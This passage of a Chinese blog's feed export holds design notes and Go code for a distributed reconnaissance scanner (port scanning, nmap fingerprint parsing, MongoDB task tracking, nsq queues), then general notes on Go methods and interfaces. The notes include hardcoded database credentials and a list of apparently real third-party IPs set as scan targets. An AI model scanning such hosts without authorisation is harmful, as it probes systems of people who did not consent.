</p><blockquote><p>参考文章</p></blockquote>]]></content>
<categories>
<category> 写点好玩的 </category>
</categories>
</entry>
<entry>
<title>想法记录</title>
<link href="/2022/04/09/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E6%83%B3%E6%B3%95%E8%AE%B0%E5%BD%95/"/>
<url>/2022/04/09/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E6%83%B3%E6%B3%95%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="API思想-如何将一系列的工具进行二次封装"><a href="#API思想-如何将一系列的工具进行二次封装" class="headerlink" title="API思想- 如何将一系列的工具进行二次封装"></a>API思想- 如何将一系列的工具进行二次封装</h2><p>前期的渗透测试很多时候都可以流程化: </p><p>信息搜集 (公司名、子公司、子域名) -> 将收集到的信息转换成IP -> 端口扫描 -> 指纹识别 -> 漏洞扫描</p><p>在各个流程中,网络上已经有很多优秀的开源工具了,重新开发有的时候并不是一个好的选择。</p><p>既然如此 ,何不写一个框架,将工具以插件的形式进行安装</p><blockquote><p>框架需要实现的功能如下</p></blockquote><p>mian() 主函数执行整个前期渗透测试流程,当某一个阶段任务结束后进行下一个任务。</p><p>plug_install() 运行插件的install()</p><p>plug_run() 运行某个插件</p><p>plug_uninstall() 卸载某个插件</p><p>可能需要一个web页面</p><blockquote><p>插件需要实现的功能如下</p></blockquote><p>install() 工具安装</p><p>update() 工具更新</p><p>paramanalysis() 输入参数解析</p><p>run() 工具运行</p><p>dataprocess() 工具输出结果二次处理</p><p>datastore() 处理后结果存储</p><p>uninstall() 卸载该插件</p><p><em><span id="more"></span></em> </p><h2 id="分布式扫描器"><a href="#分布式扫描器" class="headerlink" title="分布式扫描器"></a>分布式扫描器</h2><blockquote><p>暂定技术栈</p></blockquote><p>前端: bootstrap JQuery</p><p>后端: Go</p><p>数据库 MongoDB<br>消息队列: nsq</p><p>定时任务: 暂时使用循环+ sleep</p><p><img src="/2022/04/09/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E6%83%B3%E6%B3%95%E8%AE%B0%E5%BD%95/image-20220419105247096.png" alt="image-20220419105247096"></p><blockquote><p>先写一下要达成的效果</p></blockquote><p>用户提交任务: <a href="http://www.xxx.com,www.ddd.com/">www.xxx.com,www.ddd.com</a>, 等一系列IP域名地址、</p><p>客户端在MongoDB中初始化一个task,若MongoDB中记录当前无其他task,则将本task设为运行中,将IP、域名等信息插入到task中,每一个IP、域名。</p><p>调度器每5秒查询一次MongoDB,若有正在运行中的任务,且消息队列还没有排满,则从task中取出一定数量的子任务, 处理成消息的格式放入消息队列中。</p><p>执行器从消息队列中取出子任务,执行完成后,将数据更新到MongoDB的task中。</p><pre><code class="json">taskUID : string{ task_total : int task_waiting : int task_runned : int task_running : int task_domain: { 需要进行子域名扫描, 子域名扫描完成后进行IP解析,将解析的IP:domain写入到task_IP中 domain_total : int domain_running : int domain_runned : int domain1: { subdomain_task_status: (等待中、运行中、运行完毕) subdomain_info {subdomain:IP} } domain1: subdomain_task_status (等待中、运行中、运行完毕) } task_IP :{ 进行端口扫描、指纹识别,将识别到的web协议资产加入到task_web中,其他加入到task_other中 IP_total IP_running IP_runned IP1 :{ task_status(等待中、运行中、运行完成) task_openportanservice(开启的端口服务与指纹) task_domainbind [domain1 domain2](IP绑定的子域名) } } task_WEB:{ web1{ web_URL scan_status } } }</code></pre><h3 id="MongoDB补充"><a href="#MongoDB补充" class="headerlink" title="MongoDB补充"></a>MongoDB补充</h3><blockquote><p>清空集合数据</p></blockquote><p>db.xxx.remove({})</p><blockquote><p>设置集合主键</p></blockquote><pre><code>db.xxx.createIndex( { "ip_host": 1 }, { unique: true } )</code></pre><p>docker exec -it mongo mongo admin</p><p>db.auth(“admin”,”qwrdxer”)</p><p>use myscan</p><p>db.task1_ip.insertMany([{<br> ip_scan_status: 0,<br> ip_host: “220.130.181.152”<br>},<br>{<br> ip_scan_status: 0,<br> ip_host: “140.122.149.12”<br>},<br>{<br> ip_scan_status: 0,<br> ip_host: “114.25.138.78”<br>}])</p><h3 id="MongoDB设计如下"><a href="#MongoDB设计如下" class="headerlink" title="MongoDB设计如下"></a>MongoDB设计如下</h3><p>库名: myscan</p><p>db.createCollection(task1_ip)</p><p>每增加一个任务,都需要创建一个集合,并将该集合的名字记录在ScanStatus 的querylist表中</p><p>集合: ScanTask_name_ip 、ScanStatus</p><p>ScanTask_name_ip: 存放任务的ip</p><p>使用db.task1_ip.insertMany()可一次性插入多个IP</p><pre><code class="json">db.task1_ip.insertMany([{ ip_scan_status: 0, ip_host: "220.130.181.152"},{ ip_scan_status: 0, ip_host: "140.122.149.12"},{ ip_scan_status: 0, ip_host: "114.25.138.78"},{ ip_scan_status: 0, ip_host: "35.201.212.100"},{ ip_scan_status: 0, ip_host: "203.69.15.226"},{ ip_scan_status: 0, ip_host: "122.117.147.95"},{ ip_scan_status: 0, ip_host: "219.71.199.26"},{ ip_scan_status: 0, ip_host: "59.126.205.82"},{ ip_scan_status: 0, ip_host: "35.194.147.80"},{ ip_scan_status: 0, ip_host: "123.0.63.235"},{ ip_scan_status: 0, ip_host: "140.122.53.205"},{ ip_scan_status: 0, ip_host: "140.122.53.161"},{ ip_scan_status: 0, ip_host: "163.21.180.18"},{ ip_scan_status: 0, ip_host: "203.64.208.70"},{ ip_scan_status: 0, ip_host: "163.21.180.180"},{ ip_scan_status: 0, ip_host: "163.18.23.135"}])</code></pre><p>db.task1_ip.insertMany({<br> ip_scan_status: 0,<br> ip_host: “220.130.181.152”<br>})</p><p>修改某个ip的运行状态</p><pre><code class="json">db.scan1_ip.updateOne({ip_host: "121.5.73.12"},{"$set":{ip_scan_status:2}})</code></pre><p>查看指定状态的所有IP</p><pre><code class="json">db.scan1_ip.find({"ip_scan_status":0})</code></pre><p>ip扫描结果格式</p><pre><code class="json">[{ openport:80, protocol:"http" },{ openport:22, protocol:"ssh" },{ openport:6379, protocol:"redis" }]</code></pre><p>将扫描结果写入到MongoDB中</p><pre><code class="json">db.task1_ip.updateOne({ip_host: "121.5.73.14"},{"$set":{"ip_openport":[{ openport:8080, protocol:"http" },{ openport:22, protocol:"ssh" },{ openport:6379, protocol:"redis" },{ openport:7171, protocol:"http" }]}})</code></pre><p>查询有http协议的ip</p><pre><code class="json">db.scan1_ip.find({"ip_openport.protocol":"http"})</code></pre><p>查询有http协议的ip,只要带http的端口</p><pre><code class="javascript">cursor.forEach(function(x){ x.ip_openport.forEach(function(arr,index){ print(arr.openport) })})db.task1_ip.find({"ip_openport.protocol":"http"}).forEach(function(x){ var iphost=x.ip_host x.ip_openport.forEach(function(arr,index){ if(arr.protocol=="http"){ print(iphost+":"+arr.port) iphost=x.ip_host } })})</code></pre><p>输出结果如下 ,可以将http字符串替换成任意协议,输出都为ip_端口</p><p>121.5.73.12:80 </p><p>121.5.73.14:8080 </p><p>121.5.73.14:7171 </p><p>taskname_domain</p><h3 id="go语言操控MongoDB"><a href="#go语言操控MongoDB" class="headerlink" title="go语言操控MongoDB"></a>go语言操控MongoDB</h3><p><a href="https://blog.csdn.net/opeak/article/details/102544280/">https://blog.csdn.net/opeak/article/details/102544280/</a></p><p><a href="https://wenku.baidu.com/view/347a637e322b3169a45177232f60ddccda38e69f.html">https://wenku.baidu.com/view/347a637e322b3169a45177232f60ddccda38e69f.html</a></p><blockquote><p>连接至MongoDB</p></blockquote><pre><code class="go">const ( MongoDBHosts = "121.5.73.12:27017" AuthDatabase = "admin" AuthUserName = "admin" AuthPassword = "123456" MaxCon = 300)func main() { mongoDBDialInfo := &mgo.DialInfo{ Addrs: []string{MongoDBHosts}, Timeout: 60 * time.Second, Database: AuthDatabase, Username: AuthUserName, Password: AuthPassword, } session, err := mgo.DialWithInfo(mongoDBDialInfo) if err != nil { log.Fatalf("CreateSession failed:%n", err) } //设置连接池的大小 session.SetPoolLimit(MaxCon) defer session.Close() cloneSession := session.Clone()}</code></pre><p>创建了一个连接池,当需要对MongDB进行操作时,只需</p><p>cloneSession := session.Clone() 即可获取到一个session </p><blockquote><p>获取一条记录</p></blockquote><p>首先要根据文档的格式定义好结构体</p><p>JSON转GO结构体</p><pre><code class="go">type IP_result struct { ID bson.ObjectId `bson:"_id,omitempty"` //类型是bson.ObjectId IPScanStatus int `bson:"ip_scan_status"` IPHost string `bson:"ip_host"` IPOpenport []GoIPOpenport `bson:"ip_openport"` BindDomain []string `bson:"binddomain"`}type GoIPOpenport struct { Openport int `bson:"openport"` Protocol string `bson:"protocol"`}</code></pre><p>注意:</p><ol><li>标签为BSON格式</li><li>结构体中成员必须大写,否则无法被其他包访问导致值为空</li><li>要加上ID属性</li></ol><p>测试获取一条数据</p><pre><code class="go"> c := cloneSession.DB("myscan").C("task1_ip") var v = IP_result{} c.Find(bson.M{"ip_host": "121.5.73.14"}).One(&v)</code></pre><p><img src="/2022/04/09/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/%E6%83%B3%E6%B3%95%E8%AE%B0%E5%BD%95/image-20220416160520256.png" alt="image-20220416160520256"></p><blockquote><p>更新文档 - 单个值</p></blockquote><p>更新ip扫描状态</p><pre><code class="go">c.Update(bson.M{"ip_host": "121.5.73.15"}, bson.M{"$set": bson.M{"ip_scan_status": 110}})</code></pre><blockquote><p>更新文档-列表</p></blockquote><p>对于不确定数量的列表,直接向bson.M中传入切片即可</p><pre><code class="go">c.Update(bson.M{"ip_host": "121.5.73.15"}, bson.M{"$set": bson.M{"openport": []int{11, 111, 22, 80, 3333}}})</code></pre><blockquote><p>更新文档-嵌套文档</p></blockquote><p>嵌套文档,传入的是键值对 ,本次的需求是向列表成员中插入不定数量的子文档</p><p>首先,对于确定数量的子文档,嵌套bson.M即可</p><pre><code class="go">data2 := bson.M{"openport": []bson.M{bson.M{"port": 80, "protocol": "https"}, bson.M{"port": 8080, "protocol": "http"}}}</code></pre><p>对于不确定数量的子文档,首先定义一个bson.M类型的切片,使用for循环赋值即可</p><p>其核心是将结构体转换成bson.M格式</p><pre><code class="go"> test3 := &GoIPOpenport{Openport: 80, Protocol: "https"} data3, _ := bson.Marshal(test3) mmap := bson.M{} bson.Unmarshal(data3, mmap)</code></pre><h3 id="IP扫描任务-将-端口-指纹写入MongoDB中-单机模式"><a href="#IP扫描任务-将-端口-指纹写入MongoDB中-单机模式" class="headerlink" title="IP扫描任务: 将 端口+指纹写入MongoDB中(单机模式)"></a>IP扫描任务: 将 端口+指纹写入MongoDB中(单机模式)</h3><p>单机模式的任务只有两种状态: 未扫描,扫描完成( 后续引入消息队列后还需要增加排队中、运行中的状态)</p><p>其核心逻辑如下:</p><ol><li>获取一个任务(单机直接从MongoDB中获取,后续的分布式需要从消息队列中获取)</li><li>执行任务</li><li>上传数据,更新该任务状态</li></ol><blockquote><p>端口扫描结果为字符串切片,使用strings.Join 转成字符串格式进行nmap指纹识别</p></blockquote><pre><code class="go">res:=strings.Join(p.openPort,",")</code></pre><blockquote><p>nmap扫描结果如下</p></blockquote><pre><code class="go">PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)25/tcp closed smtp53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))110/tcp closed pop3111/tcp open rpcbind 2-4 (RPC #100000)3306/tcp open mysql MySQL 5.7.36Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 15.71 seconds</code></pre><p>使用如下代码提取出nmap结果中的协议和端口</p><pre><code class="go"> var res = "Starting Nmap 7.70 ( https://nmap.org ) at 2022-04-17 11:42 ?D1ú±ê×?ê±??\nNmap scan report for \nHost is up (0.063s latency).\n\nPORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)\n25/tcp closed smtp\n53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)\n80/tcp open http Apache httpd 2.4.41 ((Ubuntu))\n110/tcp closed pop3\n111/tcp open rpcbind 2-4 (RPC #100000)\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 15.48 seconds\n" var res1 = strings.Split(res, "\n") reg := regexp.MustCompile("^[0-9.]+/(?:tcp|udp)(.*)") for _, infos := range res1 { status := reg.FindAllString(infos, -1) if status != nil { info := strings.Fields(infos) fmt.Println(info[2]) } }</code></pre><p>具体的ip扫描逻辑如下</p><ol><li>从MongoDB中读取到一条状态为0 的任务</li><li>取出IP</li><li>扫描端口指纹</li><li>结果解析成BSON格式</li><li>将IP的指纹和端口更新到MongDB中</li><li>将该IP状态设置为扫描成功</li></ol><pre><code class="go">func main() { var conn mongodb.MongoPool conn.Init() defer conn.CloseSession() session := conn.GetSession() defer session.Close() c := session.DB("myscan").C("task1_ip") var task1 ipscan.IPScanTask var v = IP_result{} for{ c.Find(bson.M{"ip_scan_status": 0}).One(&v) var target=v.IPHost task1.Init(target) var bonsres=task1.Scan() c.Update(bson.M{"ip_host": target},bson.M{"$set":bson.M{"ip_openport":bonsres}}) c.Update(bson.M{"ip_host": target}, bson.M{"$set": bson.M{"ip_scan_status": 1}}) }}</code></pre><h3 id="分布式-调度器Monitor"><a href="#分布式-调度器Monitor" class="headerlink" title="分布式-调度器Monitor"></a>分布式-调度器Monitor</h3><blockquote><p> 先看看调度器要实现的功能:</p></blockquote><p>调度器首先要确定当前是否有任务在运行,若没有则从排队中的任务中取出一个设置为运行中</p><p>因此要在mongDB中创建一个集合task_status,其存储的文档格式如下</p><pre><code class="json">{ task_name:"taskname", task_status:0}</code></pre><p>task_name 就是任务的名字,需要从客户端中进行任务创建</p><p>task_status 为任务的状态,一共有三种状态</p><ol><li>值为0 ,标识任务刚刚初始化</li><li>值为1 ,标识任务正在运行</li><li>值为2 ,标识任务已完成</li></ol><p>需要用到如下MongoDB语句</p><pre><code class="go">c := session.DB("myscan").C("task_status")//更新任务状态c.Update(bson.M{"task_name": taskname}, bson.M{"$set": bson.M{"task_status": 1}})//新增一个任务c.Insert(bson.M{"task_name":taskname,"task_status":0})//顺序查找一个状态为0任务c.Find(bson.M{"task_status": 0}).Sort("time:-1").One(&v)</code></pre><p>若当前有任务在运行,则根据任务定位到MongDB子任务集合中:</p><ol><li>取出状态为0的子任务</li><li>将其加入写入到消息队列中</li><li>将子任务状态设置为2(排队中)</li></ol><h3 id="nsq"><a href="#nsq" class="headerlink" title="nsq"></a>nsq</h3><p>官方文档如下</p><p><a href="https://nsq.io/">https://nsq.io/</a></p><ol><li><p>follow the instructions in the <a href="https://nsq.io/deployment/installing.html">INSTALLING</a> doc.</p></li><li><p>in one shell, start <code>nsqlookupd</code>: 这相当于一个管理员</p><pre><code class="shell">$ nsqlookupd</code></pre></li><li><p>in another shell, start <code>nsqd</code>: 这是用来消息发送 ,若在公网中搭建需要制定broadcast-adddress为公网IP</p><pre><code class="shell">$ nsqd --lookupd-tcp-address=127.0.0.1:4160 -broadcast-address xxx.xxx.xxx.xxx</code></pre><p>NOTE: if your system hostname does not resolve to <code>127.0.0.1</code> then add <code>--broadcast-address=127.0.0.1</code></p></li><li><p>in another shell, start <code>nsqadmin</code>: 这是用来管理的web界面</p><pre><code class="shell">$ nsqadmin --lookupd-http-address=127.0.0.1:4161</code></pre></li><li><p>publish an initial message (creates the topic in the cluster, too): 发送一条测试消息</p><pre><code class="shell">$ curl -d 'hello world 1' 'http://127.0.0.1:4151/pub?topic=test'</code></pre></li></ol><h3 id="go操控nsq"><a href="#go操控nsq" class="headerlink" title="go操控nsq"></a>go操控nsq</h3><p><a href="https://www.cnblogs.com/binHome/p/12006392.html">https://www.cnblogs.com/binHome/p/12006392.html</a></p><blockquote><p>消息发送测试代码</p></blockquote><pre><code class="go">package mainimport ( "bufio" "fmt" "github.com/nsqio/go-nsq" "os" "strings")// NSQ Producer Demo// 定义nsq生产者var producer *nsq.Producer// 初始化生产者func initProducer(str string) (err error) { // 创建配置信息 config := nsq.NewConfig() // 初始化生产者 str传入ip:端口 producer, err = nsq.NewProducer(str, config) if err != nil { fmt.Printf("create producer failed, err:%v\n", err) return err } // 测试生产者是否有效 err = producer.Ping() if err != nil{ fmt.Printf("No ping,err:%v\n",err) producer.Stop() //关闭生产者 } return nil}func main() { nsqAddress := "121.5.73.12:4150" // 调用封装好的函数 初始化生产者 err := initProducer(nsqAddress) if err != nil { fmt.Printf("init producer failed, err:%v\n", err) return } reader := bufio.NewReader(os.Stdin) // 从标准输入读取 for { data, err := reader.ReadString('\n') if err != nil { fmt.Printf("read string from stdin failed, err:%v\n", err) continue } data = strings.TrimSpace(data) if strings.ToUpper(data) == "Q" { // 输入Q退出 break } // 使用Publish 向 'topic_demo' publish 数据 err = producer.Publish("test", []byte(data)) if err != nil { fmt.Printf("publish msg to nsq failed, err:%v\n", err) continue } }}</code></pre><blockquote><p>消息接收测试代码</p></blockquote><pre><code class="go">// nsq_consumer/main.gopackage mainimport ( "fmt" "os" "os/signal" "syscall" "time" "github.com/nsqio/go-nsq")// NSQ Consumer Demo// MyHandler 是一个消费者类型type MyHandler struct { Title string}// HandleMessage 是需要实现的处理消息的方法 *必须要实现func (m *MyHandler) HandleMessage(msg *nsq.Message) (err error) { fmt.Printf("%s recv from %v, msg:%v\n", m.Title, msg.NSQDAddress, string(msg.Body)) time.Sleep(time.Duration(2)*time.Second) return}// 初始化消费者func initConsumer(topic string, channel string, address string) (err error) { config := nsq.NewConfig() // 重连时间 config.LookupdPollInterval = 15 * time.Second // 新建消费者 c, err := nsq.NewConsumer(topic, channel, config) if err != nil { fmt.Printf("create consumer failed, err:%v\n", err) return } consumer := &MyHandler{ Title: "qwrdxer", } // 屏蔽系统日志 // c.SetLogger(nil,0) // 添加消费者 c.AddHandler(consumer) // if err := c.ConnectToNSQD(address); err != nil { // 直接连NSQD if err := c.ConnectToNSQLookupd(address); err != nil { // 通过lookupd查询 return err } return nil}func main() { err := initConsumer("test", "tttt", "121.5.73.12:4161") if err != nil { fmt.Printf("init consumer failed, err:%v\n", err) return } c := make(chan os.Signal) // 定义一个信号的通道 signal.Notify(c, syscall.SIGINT) // 转发键盘中断信号到c <-c // 阻塞}</code></pre><h3 id="调度器代码实现"><a href="#调度器代码实现" class="headerlink" title="调度器代码实现"></a>调度器代码实现</h3><ol><li>初始化nsq 、Mongodb连接</li><li>从mongdb中提取指定数量消息</li><li>for循环,每向消息队列中写入一条消息,将该消息对应的mongodb文档设置为排队中</li><li>sleep10秒</li></ol><pre><code class="go">package mainimport ( "fmt" "github.com/nsqio/go-nsq" "gopkg.in/mgo.v2" "gopkg.in/mgo.v2/bson" mongodb "qwrdxer.com/NODE/MONGODB" "time")type IP_result struct { ID bson.ObjectId `bson:"_id,omitempty"` //类型是bson.ObjectId IPScanStatus int `bson:"ip_scan_status"` IPHost string `bson:"ip_host"` IPOpenport []GoIPOpenport `bson:"ip_openport"` BindDomain []string `bson:"binddomain"`}type GoIPOpenport struct { Openport int `bson:"openport"` Protocol string `bson:"protocol"`}// NSQ Producer Demotype Monitor struct { producer *nsq.Producer mgoconn *mgo.Session querynum int //每次查询的任务数 waitTime int //一次调度后等待的时间}// 初始化生产者func (m *Monitor)Init(ipport string) (err error) { // 创建配置信息 config := nsq.NewConfig() // 初始化生产者 str传入ip:端口 m.producer, err = nsq.NewProducer(ipport, config) if err != nil { fmt.Printf("create producer failed, err:%v\n", err) return err } // 测试生产者是否有效 err = m.producer.Ping() if err != nil{ fmt.Printf("No ping,err:%v\n",err) m.producer.Stop() //关闭生产者 } return nil}func (m *Monitor)Start(conn mongodb.MongoPool) { for{ m.mgoconn=conn.GetSession()//建立mongodb连接 c :=m.mgoconn.DB("myscan").C("task1_ip") iter:=c.Find(bson.M{"ip_scan_status": 0}).Limit(2).Iter() var v = IP_result{} for iter.Next(&v) { //迭代子任务 var data="ipscan;"+"task1_ip;"+v.IPHost fmt.Println("adding:"+ data) err := m.producer.Publish("test", []byte(data))//写入消息队列 c.Update(bson.M{"ip_host": v.IPHost}, bson.M{"$set": bson.M{"ip_scan_status": 2}})//设置状态为排队中 if err != nil { fmt.Printf("publish msg to nsq failed, err:%v\n", err) continue } } m.mgoconn.Close() //关闭连接 fmt.Println("睡眠十秒") time.Sleep(time.Duration(10)*time.Second) }}func main() { //建立mongdb连接池 var conn mongodb.MongoPool conn.Init() defer conn.CloseSession() var Mon =Monitor{} Mon.Init("121.5.73.12:4150") Mon.Start(conn)}</code></pre><h3 id="分布式架构设计"><a href="#分布式架构设计" class="headerlink" title="分布式架构设计"></a>分布式架构设计</h3><blockquote><p>扫描节点</p></blockquote><p>其主函数逻辑如下</p><pre><code class="go">func main() { task := 0 taskLimit := 5 taskList := make([]PortScanTask, 0) 消息队列绑定 for { if task<taskLimit{ 从消息队列中获取子任务 根据任务类别创建一个任务 将该任务加入到taskList中 go run 运行该任务 } 遍历taskList,若有任务已完成,则将其从任务列表中删除 sleep(10) }}</code></pre><p>任务函数需要实现的接口如下</p><pre><code class="go">interface task{ init(); 将参数初始化 run() ; 执行任务 getprocess();获取当前任务进度 dataprocess(); 将运行结果改为JSON格式 upload(); 上传结果到MongoDB中,修改部分参数,如running-1 runned+1 实现接口的任务中还要定义一个标志位,当任务结束后方便主函数将其从任务列表中删除}</code></pre><blockquote><p>调度节点</p></blockquote><p>主函数逻辑如下</p><pre><code class="go">func main() { for { 获取消息队列中可用的 sleep(10) }}</code></pre><blockquote><p>客户端</p></blockquote><p><em><!-- more --></em> </p><blockquote><p>参考文章</p><p>Go执行系统命令并处理</p><p><a href="https://wenku.baidu.com/view/97c2e105de36a32d7375a417866fb84ae45cc3f0.html">https://wenku.baidu.com/view/97c2e105de36a32d7375a417866fb84ae45cc3f0.html</a></p></blockquote>]]></content>
<categories>
<category> 写点好玩的 </category>
</categories>
</entry>
<entry>
<title>The Way To Go</title>
<link href="/2022/04/08/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Go/The%20Way%20To%20Go/"/>
<url>/2022/04/08/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Go/The%20Way%20To%20Go/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="Go-方法"><a href="#Go-方法" class="headerlink" title="Go 方法"></a>Go 方法</h3><p>map和struct vs new() 和make()</p><p>make 用于 slices maps channel</p><p>试图通过make创建一个结构体会报错</p><p>试图通过new创建一个map变量,需要为其初始化后才能使用。</p><p>结构体中的标签(tag)</p><p>可以通过反射获取</p><p>Go方法</p><ol><li><p>Go 方法是作用在接收者(receiver)上的一个函数,接收者是某种类型的变量。因此方法是一种特殊类型的函数。</p></li><li><p>接收者类型可以是(几乎)任何类型,不仅仅是结构体类型:任何类型都可以有方法,甚至可以是函数类型,可以是 int、bool、string 或数组的别名类型。但是接收者不能是一个接口类型,因为接口是一个抽象定义,但是方法却是具体实现;如果这样做会引发一个编译错误:<strong>invalid receiver type…</strong></p></li><li><p>最后接收者不能是一个指针类型(ptr),但是它可以是任何其他允许类型的指针。</p></li><li><p>定义方法格式如下</p></li></ol><pre><code class="go">func (recv receiver_type) methodName(parameter_list) (return_value_list) { ... }</code></pre><p>思考1: 什么时候使用方法?<br>当需要对结构体中原始的数据进行相互之间或单独处理时,考虑使用方法;</p><p>思考2: 当接受者为值或指针时?</p><p><strong>由值作为接收者,被调用时,是对对象的拷贝,指针作为接收者,被调用时,是对对象本身的操作</strong>。</p><p><a href="https://blog.csdn.net/u014239709/article/details/89552933">https://blog.csdn.net/u014239709/article/details/89552933</a><br><a href="https://www.cntofu.com/book/14/eBook/11.6.md">https://www.cntofu.com/book/14/eBook/11.6.md</a></p><p><em><span id="more"></span></em> </p><h3 id="Go接口"><a href="#Go接口" class="headerlink" title="Go接口"></a>Go接口</h3><p>接口定义了一组方法(方法集),但是这些方法不包含(实现)代码:它们没有被实现(它们是抽象的)。接口里也不能包含变量。</p><p><strong>类型不需要显式声明它实现了某个接口:接口被隐式地实现。多个类型可以实现同一个接口</strong>。</p><p><strong>实现某个接口的类型(除了实现接口方法外)可以有其他的方法</strong>。</p><p><strong>一个类型可以实现多个接口</strong>。</p><p><strong>接口类型可以包含一个实例的引用, 该实例的类型实现了此接口(接口是动态类型)</strong>。</p><p>即使接口在类型之后才定义,二者处于不同的包中,被单独编译:只要类型实现了接口中<strong>所有</strong>的方法,它就实现了此接口。</p><p>接口定义</p><pre><code class="go">type Namer interface { Method1(param_list) return_type Method2(param_list) return_type ...}</code></pre><p>接口实现</p><pre><code class="go">func(xxx type1) Method1(param_list) return_type</code></pre><p>两个类型 <code>stockPosition</code> 和 <code>car</code>,它们都有一个 <code>getValue()</code> 方法,我们可以定义一个具有此方法的接口 <code>valuable</code>。接着定义一个使用 <code>valuable</code> 类型作为参数的函数 <code>showValue()</code>,所有实现了 <code>valuable</code> 接口的类型都可以用这个函数。</p><p>一个接口可以包含一个或多个其他的接口,这相当于直接将这些内嵌接口的方法列举在外层接口中一样。</p><p>通常我们可以使用 <strong>类型断言</strong> 来测试在某个时刻 <code>varI</code> 是否包含类型 <code>T</code> 的值:</p><pre><code class="go">if v, ok := varI.(T); ok { // checked type assertion Process(v) return}// varI is not of type T</code></pre><p>接口变量的类型也可以使用一种特殊形式的 <code>switch</code> 来检测:<strong>type-switch</strong> (下面是示例 11.4 的第二部分):</p><pre><code class="go">switch t := areaIntf.(type) {case *Square: fmt.Printf("Type Square %T with value %v\n", t, t)case *Circle: fmt.Printf("Type Circle %T with value %v\n", t, t)case nil: fmt.Printf("nil value: nothing to check?\n")default: fmt.Printf("Unexpected type %T\n", t)}</code></pre><p>可以用 <code>type-switch</code> 进行运行时类型分析,但是在 <code>type-switch</code> 不允许有 <code>fallthrough</code> 。</p><p>假定 <code>v</code> 是一个值,然后我们想测试它是否实现了 <code>Stringer</code> 接口,可以这样做:</p><pre><code class="go">type Stringer interface { String() string}if sv, ok := v.(Stringer); ok { fmt.Printf("v implements String(): %s\n", sv.String()) // note: sv, not v}</code></pre><p>接口是一种契约,实现类型必须满足它,它描述了类型的行为,规定类型可以做什么。接口彻底将类型能做什么,以及如何做分离开来,使得相同接口的变量在不同的时刻表现出不同的行为,这就是多态的本质。</p><p>接口变量中存储的具体值是不可寻址的,幸运的是,如果使用不当编译器会给出错误</p><p>在接口上调用方法时,必须有和方法定义时相同的接收者类型或者是可以从具体类型 <code>P</code> 直接可以辨识的:</p><ul><li>指针方法可以通过指针调用</li><li>值方法可以通过值调用</li><li>接收者是值的方法可以通过指针调用,因为指针会首先被解引用</li><li>接收者是指针的方法不可以通过值调用,因为存储在接口中的值没有地址</li></ul><p>Go 语言规范定义了接口方法集的调用规则:</p><ul><li>类型 *T 的可调用方法集包含接受者为 *T 或 T 的所有方法集</li><li>类型 T 的可调用方法集包含接受者为 T 的所有方法</li><li>类型 T 的可调用方法集不包含接受者为 *T 的方法</li></ul><blockquote><p>稍作总结</p></blockquote><p>函数: 参数为结构体、数字、字符串、数组</p><pre><code class="go">func func1(param) return{ ...}</code></pre><p>方法: 作用在接收者的函数</p><pre><code class="go">func (recv receiver_type) methodName(parameter_list) (return_value_list) { ... }</code></pre><p>通过recv.methodName调用</p><p>接口函数: 参数为接口 ,用于对实现接口的成员进行管理</p><pre><code class="go">func func2(int interface) return{ ...}</code></pre><p>调用</p><p>package.func2(var)</p><blockquote><p>空接口</p></blockquote><p><strong>空接口或者最小接口</strong> 不包含任何方法,它对实现不做任何要求:</p><pre><code class="go">type Any interface {}</code></pre><p>空接口类似 <code>Java/C#</code> 中所有类的基类: <code>Object</code> 类,二者的目标也很相近。</p><p>可以给一个空接口类型的变量 <code>var val interface {}</code> 赋任何类型的值。</p><p>每个空接口 变量在内存中占据两个字长:一个用来存储它包含的类型,另一个用来存储它包含的数据或者指向数据的指针。</p><blockquote><p>go官方说明</p><p><a href="https://go.dev/ref/spec">https://go.dev/ref/spec</a></p></blockquote><blockquote><p>go map中修改value的值</p><p><a href="https://blog.csdn.net/qq_37102984/article/details/121292529">https://blog.csdn.net/qq_37102984/article/details/121292529</a></p></blockquote><p>一个接口的值可以赋值给另一个接口变量</p><p><a href="https://blog.csdn.net/u010003835/article/details/51750511">https://blog.csdn.net/u010003835/article/details/51750511</a></p><h3 id="Go反射"><a href="#Go反射" class="headerlink" title="Go反射"></a>Go反射</h3><p>反射是用程序检查其所拥有的结构,尤其是类型的一种能力;这是元编程的一种形式。反射可以在运行时检查类型和变量,例如它的大小、方法和 <code>动态</code> 的调用这些方法。这对于没有源代码的包尤其有用。这是一个强大的工具,除非真得有必要,否则应当避免使用或小心使用。</p><p>变量的最基本信息就是类型和值:反射包的 <code>Type</code> 用来表示一个 Go 类型,反射包的 <code>Value</code> 为 Go 值提供了反射接口。</p><p>Value 有一个 Type 方法返回 reflect.Value 的 Type。另一个是 Type 和 Value 都有 Kind 方法返回一个常量来表示类型:Uint、Float64、Slice 等等。同样 Value 有叫做 Int 和 Float 的方法可以获取存储在内部的值(跟 int64 和 float64 一样)</p><pre><code class="go">// blog: Laws of Reflectionpackage mainimport ( "fmt" "reflect")func main() { var x float64 = 3.4 fmt.Println("type:", 